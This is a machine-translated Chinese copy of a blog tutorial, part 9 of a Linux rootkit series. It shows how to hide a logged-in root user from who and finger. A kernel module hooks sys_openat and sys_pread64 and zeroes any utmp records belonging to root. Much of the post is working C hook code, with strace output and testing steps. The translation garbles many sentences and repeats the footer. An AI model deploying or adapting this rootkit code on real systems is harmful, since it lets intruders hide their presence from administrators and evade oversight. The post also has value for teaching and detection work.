Xcellerator
密码学Linux其他逆向工程
文章目录
- [Linux Rootkit 第 9 部分:隐藏登录用户(无需接触磁盘即可修改文件内容)](https://xcellerator.github.io/posts/linux_rootkits_09/)
- 终端设备
- UTMP
- 用户空间工具如何解析 UTMP?
- 挂钩系统调用
- 警告
Linux Rootkit 第 9 部分:隐藏登录用户(无需接触磁盘即可修改文件内容)
2020-10-16 :: TheXcellerator
# linux # rootkit #隐身 #登录 #用户
让我们看看是否可以隐藏用户已登录的事实!我们的想法是,我们将能够生成一个 shell 或以某个用户身份登录(我们将选择root
),并且不会将其显示在who
或 等工具的输出中finger
。
查看 的输出,我们会看到所有活动终端设备以及与其关联的用户who
的列表。在进一步讨论之前,了解其中的内容会很有用。
终端设备
尽管有这个名称以及我们通常认为的“终端”,但终端设备并不局限于仅打开控制台窗口。在 的输出中who
,您可能会tty
首先看到一个设备,然后是一些pts
设备(为什么使用“tty”(电传打字机的缩写)的历史非常有趣!请查看 ESR 的著名帖子以获得很好的解释)。
简而言之,tty
设备是一种“物理终端”——实际上连接到硬件而不是模拟的终端。通常,每个用户只有其中一个(尽管不一定),并且仅真正用于生成显示驱动程序(X、Wayland 等),或者如果您实际位于服务器上,则仅用于登录会话本身。
设备pts
是一个“伪终端”,这意味着它是模拟的,而不是直接连接到硬件(即,如果它冻结或锁定,整个用户会话不会崩溃)。这可能是您最熟悉的 - 从桌面打开终端可能是最常见的示例。如果您像我一样是串行多路复用器,那么每个tmux
窗口screen
也是一个新pts
设备(尝试生成一些设备并检查who
每次的输出)。如果您想知道哪个pts
终端分配给您当前的终端,那么该tty
命令就是您的朋友。
如果您看一下/dev
,您可能会看到很多设备tty
,但并非所有这些设备实际上都连接在任何地方(事实上,大多数设备都没有*)*。在 下/dev/pts
,您还会看到您的活动pts
设备。不过,我们在这里对它们无能为力,所以让我们回到 的输出who
。
UTMP
由于我们不知道如何 who
“知道”谁登录了,最简单的方法就是运行它strace
。我怀疑它可能使用系统上某处的文件来跟踪用户,因此我应用过滤-e openat
器仅查看who
系统上打开的文件。当我们在输出中发现以下行时,这一点得到了回报:
openat(AT_FDCWD, "/var/run/utmp", O_RDONLY|O_CLOEXEC) = 3
复制
这看起来很有趣!我们自己看一下这个文件:
$ cat /var/run/utmp
pts/0ts/0vagrant10.0.2.2y_|H5~~~runlevel5.4.0-48-genericy_tty1tty1tty1LOGINy_
复制
除了其中的单词pts
和用户名vagrant
之外,这看起来像是垃圾。但是,文件的大小(在我的系统上)是1536
,因此其中显然有很多无法打印的字节。将输出通过管道传输到xxd
或hexyl
确认我们已经获得了一个二进制文件。如果我们看一下man utmp
,我们发现它utmp
确实存储了系统的登录记录 - 并且我们发现的文件只是一些utmp
结构的转储!太棒了 - 我们可以自己解析它。
在直接开始编写内核模块之前(此时,我仍然不确定如何在不覆盖此文件的情况下隐藏用户),我决定编写一个用户空间工具来解析此文件以掌握它的含义布局。结果是enum_utmp
,它在与以前相同的系统上的输出如下所示:
$ ./enum_utmp
[Entry 0]
ut_type = BOOT_TIME
ut_pid = 0 - ""
ut_line = ~
ut_user = reboot
[Entry 1]
ut_type = RUN_LVL
ut_pid = 53 - ""
ut_line = ~
ut_user = runlevel
[Entry 2]
ut_type = LOGIN_PROCESS
ut_pid = 659 - "/sbin/agetty"
ut_line = tty1
ut_user = LOGIN
[Entry 3]
ut_type = USER_PROCESS
ut_pid = 1154 - "sshd: vagrant [priv]"
ut_line = pts/0
ut_user = vagrant
复制
它非常简单:首先它将 的内容读/var/run/utmp
入缓冲区,然后循环遍历每个字节块(由 定义的结构384
的大小),打印出每个结构的四个最相关的字段。为了获得更深入的了解,它还查找分配给每个条目的 PID 的进程名称(在 下)。utmp``/usr/include/utmp.h``/proc/$PID/cmdline
显然,这现在是我们的操纵目标。我们可以ut_user
编辑这个文件并删除匹配的条目root
,但让我们更聪明一点。让我们看看我们是否可以在不接触磁盘的/var/run/utmp
情况下即时修改读取!
用户空间工具如何解析 UTMP?
首先,我们需要回到strace
之前的输出。我们知道who
调用sys_openat()
open /var/run/utmp
,但接下来它会做什么呢?这是(大量截断的)输出strace who
:
openat(AT_FDCWD, "/var/run/utmp", O_RDONLY|O_CLOEXEC) = 3
pread64(3, "\2\0\0\0\0\0\0\0~\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384, 0) = 384
pread64(3, "\1\0\0\0005\0\0\0~\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384, 384) = 384
pread64(3, "\6\0\0\0\223\2\0\0tty1\0tty1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384, 768) = 384
pread64(3, "\7\0\0\0\202\4\0\0pts/0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384, 1152) = 384
pread64(3, "", 384, 1536) = 0
close(3) = 0
复制
啊哈!这 4 个调用sys_pread64()
对应于上面输出中的 4 个条目enum_utmp
。这告诉我们,who
使用系统调用一次sys_pread64()
读取字节块的内容/var/run/utmp
(最后一个参数是一个偏移量,我们可以在上面看到它从(文件的开头)开始,并在每次读取时递增。称为)。384``sys_pread64()``0``384
如果我们可以使用系统调用钩子拦截这些调用sys_pread64()
,我们就可以解析作为结构填充的每个缓冲区utmp
,并覆盖其字段与!ut_user
匹配的任何缓冲区。该技术在思想上与第 6 部分和第 7 部分类似,但是,正如您很快就会看到的,执行方式却截然不同。root``0x0
问题是我们不能只解析填充的每个sys_pread64()
缓冲区- 我们如何知道它甚至是一个utmp
结构?我想我们可以检查缓冲区的大小是否恰好是384
字节,但这仍然有点混乱。一个更好的想法是也挂钩sys_openat()
并监视打开的尝试/var/run/utmp
(记住,读取系统调用仅获取文件描述符,而打开系统调用获取实际的文件名!)。然后我们可以保存这个文件描述符,这样我们只需检查它是否与传递给 的参数匹配sys_pread64()
。sys_pread64()
这也不会让内核陷入同样的困境,因为我们每次调用时只进行整数比较,而不是解析通过的每个缓冲区。
挂钩系统调用
尝试挂钩sys_openat()
是令人讨厌的。这是因为它几乎不断地被调用,并且对时间延迟*非常敏感。*这意味着我们没有足够的喘息空间来做太多事情。特别是,如果我们保存 的返回值sys_openat()
,然后在返回之前花费太长时间,整个系统就会锁定(使用 vagrant 如此有用的另一个原因!)。如果发生任何分支行为,情况尤其如此。
为了避免这种情况,当我们编写hook_openat()
函数时,我们必须非常小心,在调用orig_openat()
和返回它给我们的文件描述符之间使用尽可能少的代码。幸运的是,我们关心的是文件名,它作为参数传递给sys_openat()
. 这意味着我们可以在调用之前自由地进行比较和 if/else 语句orig_openat()
。
考虑到所有这些,实际的钩子相当简单:
/*
* Global variable for the file descriptor we need to mess with.
* In practice, hook_openat() will set it, and hook_pread64()
* will read it.
*/
int tamper_fd;
/* Declaration for the real sys_openat() - pointer fixed by Ftrace */
static asmlinkage long (*orig_openat)(const struct pt_regs *);
/* Sycall hook for sys_open() */
asmlinkage int hook_openat(const struct pt_regs *regs)
{
/*
* Pull the filename out of the regs struct
*/
char *filename = (char *)regs->si;
char *kbuf;
char *target = "/var/run/utmp";
int target_len = 14;
long error;
/*
* Allocate a kernel buffer to copy the filename into
* If it fails, just return the real sys_openat() without delay
*/
kbuf = kzalloc(NAME_MAX, GFP_KERNEL);
if(kbuf == NULL)
return orig_openat(regs);
/*
* Copy the filename from userspace into the kernel buffer
* If it fails, just return the real sys_openat() without delay
*/
error = copy_from_user(kbuf, filename, NAME_MAX);
if(error)
return orig_openat(regs);
/*
* Compare the filename to "/var/run/utmp"
* If we get a match, call orig_openat(), save the result in tamper_fd,
* and return after freeing the kernel buffer. We just about get away with
* this delay between calling and returning
*/
if ( memcmp(kbuf, target, target_len) == 0 )
{
tamper_fd = orig_openat(regs);
kfree(kbuf);
return tamper_fd;
}
/*
* If we didn't get a match, then just need to free the buffer and return
*/
kfree(kbuf);
return orig_openat(regs);
}
复制
好吧,这相当简单。幸运的是,似乎有足够的容忍度让我们在保存文件描述符tamper_fd
和将其返回到用户空间之间释放内核缓冲区(hook_openat()
会被多次调用,所以我们绝对不想让内核缓冲区处于非自由状态)周围有内核缓冲区!)。
接下来,我们需要编写hook_pread64()
函数。的参数与sys_pread64()
相同,sys_read()
只是我们有一个额外的loff_t
偏移量,该偏移量指示我们正在读取文件的深度(384
每次sys_pread64()
调用时都会增加该偏移量who
)。这意味着我们的钩子将采用与之前填充缓冲区的系统调用钩子非常相似的形式。
我们可以检查的第一件事是fd
参数(存储在rdi
寄存器中)是否匹配tamper_fd
(当我们这样做时,我们最好确保fd
不是0
,1
或2
)。如果我们得到匹配,那么我们可以继续分配一个内核缓冲区,调用真正的系统调用,并将填充的用户空间缓冲区复制到内核缓冲区中。此时,我们可以通过将缓冲区转换为结构来解析缓冲区utmp
(我必须将结构的定义粘贴到头文件中,因为实际的utmp.h
不是内核头 - 请参阅utmp.h
存储库)。
完成此操作后,我们可以将该ut_user
字段与进行比较root
。如果我们得到匹配,那么我们只需覆盖缓冲区0x0
并将其复制回用户!如果你想隐藏 以外的用户root
,那么你当然需要将其更改为其他用户。
#include "utmp.h"
#define HIDDEN_USER "root"
/* This is the global tamper_fd variable that gets set by hook_openat() */
int tamper_fd;
/* Usual declaration of orig_pread64(), will have pointer fixed by ftrace */
static asmlinkage long (*orig_pread64)(const struct pt_regs *);
/* Hook for sys_pread64() */
asmlinkage int hook_pread64(const struct pt_regs *regs)
{
/*
* Pull the arguments we need out of the regs struct
*/
int fd = regs->di;
char *buf = (char *)regs->si;
size_t count = regs->dx;
char *kbuf;
struct utmp *utmp_buf;
long error;
int i, ret;
/*
* Check that fd = tamper_fd and that we're not messing with STDIN,
* STDOUT or STDERR
*/
if ( (tamper_fd == fd) &&
(tamper_fd != 0) &&
(tamper_fd != 1) &&
(tamper_fd != 2) )
{
/*
* Allocate the usual kernel buffer
* The count argument from rdx is the size of the buffer (should be 384)
*/
kbuf = kzalloc(count, GFP_KERNEL);
if( kbuf == NULL)
return orig_pread64(regs);
/*
* Do the real syscall, save the return value in ret
* buf will then hold a utmp struct, but we need to copy it into kbuf first
*/
ret = orig_pread64(regs);
error = copy_from_user(kbuf, buf, count);
if (error != 0)
return ret;
/*
* Cast kbuf to a utmp struct and compare .ut_user to HIDDEN_USER
*/
utmp_buf = (struct utmp *)kbuf;
if ( memcmp(utmp_buf->ut_user, HIDDEN_USER, strlen(HIDDEN_USER)) == 0 )
{
/*
* If we get a match, then we can just overwrite kbuf with 0x0
*/
for ( i = 0 ; i < count ; i++ )
kbuf[i] = 0x0;
/*
* Copy kbuf back to the userspace buf
*/
error = copy_to_user(buf, kbuf, count);
kfree(kbuf);
return ret;
}
/*
* We intercepted a sys_pread64() to /var/run/utmp, but this entry
* isn't about HIDDEN_USER, so just free the kernel buffer and return
*/
kfree(buf);
return ret;
}
/*
* This isn't a sys_pread64() to /var/run/utmp, do nothing
*/
return orig_pread64(regs);
}
复制
这几乎就是全部内容了!填写其余部分(Ftrace、4.17 之前的调用约定版本等) ,或者从存储库中获取源代码,我们就可以进行测试了!
如果我们想创建一个新的pts
分配给根,我们需要使用终端多路复用器。最简单的可能是屏幕(简单的sudo bash
还不够)。
如果您以前没有使用过
screen
,基本用法非常简单;screen -S <name>
将创建一个名为 的新终端<name>
。此时您将看到一个新的 shell 提示符。Ctrl-a
随后d
将脱离终端并带您回到之前所在的位置。现在,您可以用来screen -ls
列出所有屏幕会话,并screen -x <name>
重新附加到其中一个。它对于在连接不牢的情况下通过 SSH 在服务器上运行更新特别有用。
我们可以启动一个根终端,sudo screen -S root_term
然后切换到另一个终端(分离将导致根本root
不显示)。who
运行who
并检查您的用户 和root
是否都在列表中。
接下来,我们可以加载内核模块并who
再次尝试运行——这一次root
已经不见踪影了!如果您跳回screen
以 root 身份运行的终端,您将看到会话完全不受影响。从 root 的终端运行who
却被告知您尚未登录是特别有趣的!卸载模块将撤消所有内容并root
再次显示。
请记住,我们实际上从未接触过该/var/run/utmp
文件!我们所做的就是坐下来等待某些东西(who
)打开它,然后拦截后续的读取。
警告
模块已加载并且根终端仍然打开,让我们尝试./enum_utmp
再次运行。我的条目之一是:
[Entry 6]
ut_type = USER_PROCESS
ut_pid = 5301 - "/bin/bash"
ut_line = pts/2
ut_user = root
复制
嗯……为什么./enum_utmp
仍然可以看到该root
帐户,但who
(和finger
等)却看不到?回想一下,在strace
of中who
,我们看到它不断地进行sys_pread64()
大小调用384
,直到到达文件末尾。如果你看一下源码./enum_utmp.c
,你会发现我没有这样做:
/*
* Copy the contents of /var/run/utmp into our buffer
*/
fread((void *)buf, sizeof(struct utmp), BUFSIZE / sizeof(struct utmp), fp);
复制
在这里,我根据手册页fread()
使用了它,从文件描述符读取二进制输入。它所做的只是将文件描述符中的size 字节块复制到缓冲区中。换句话说,数据字节从into中读取。BUFSIZE / sizeof(struct utmp)``sizeof(struct utmp)``fp``buf``BUFSIZE``fp``buf
对于源代码来说这一切都很好,但让我们看看编译后会发生什么。这是(大量截断的)输出strace ./enum_utmp
:
openat(AT_FDCWD, "/var/run/utmp", O_RDONLY) = 3
read(3, "\2\0\0\0\0\0\0\0~\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 12288) = 2688
read(3, "", 8192) = 0
close(3) = 0
复制
请注意,我们只进行了一次sys_read()
调用(如果算上文件末尾后面的空调用,则为 2 次)。请注意,返回值为2688
,即7 * 384
。老实说,这是非常糟糕的做法,因为BUFSIZE
它被硬编码到第 6 行12288 = 32 * 384
-如果 中有超过 32 个条目会发生什么?我们会想念他们,就是这样。但只是为了更好地理解该结构而编写的,所以这没什么大不了的。/var/run/utmp``enum_utmp``utmp
话虽如此,因为我们将整个文件复制到缓冲区中,然后384
一次解析它的字节(第 61 行),所以我们不会陷入这样的陷阱who
(finger
可以说,这是通过“正确的方式”做事)384
一次仅读取和解析字节,直到到达文件末尾)。
由于所有这些原因,尽管并被遗忘,enum_utmp
仍然显示已root
登录。看来我们在编写 rootkit 之前就已经击败了它!who``finger
直到下一次…
阅读其他帖子
←牙齿出血深潜Linux Rootkit 第 8 部分:隐藏开放端口→
哈维菲利普斯 2020 - 伦敦, 英国:: panr制作的主题
该网站是闹鬼网络的一部分
编写 rootkit 之前就已经击败了它!who``finger
直到下一次…
阅读其他帖子
←牙齿出血深潜Linux Rootkit 第 8 部分:隐藏开放端口→
哈维菲利普斯 2020 - 伦敦, 英国:: panr制作的主题
该网站是闹鬼网络的一部分
<<< 随机 >>>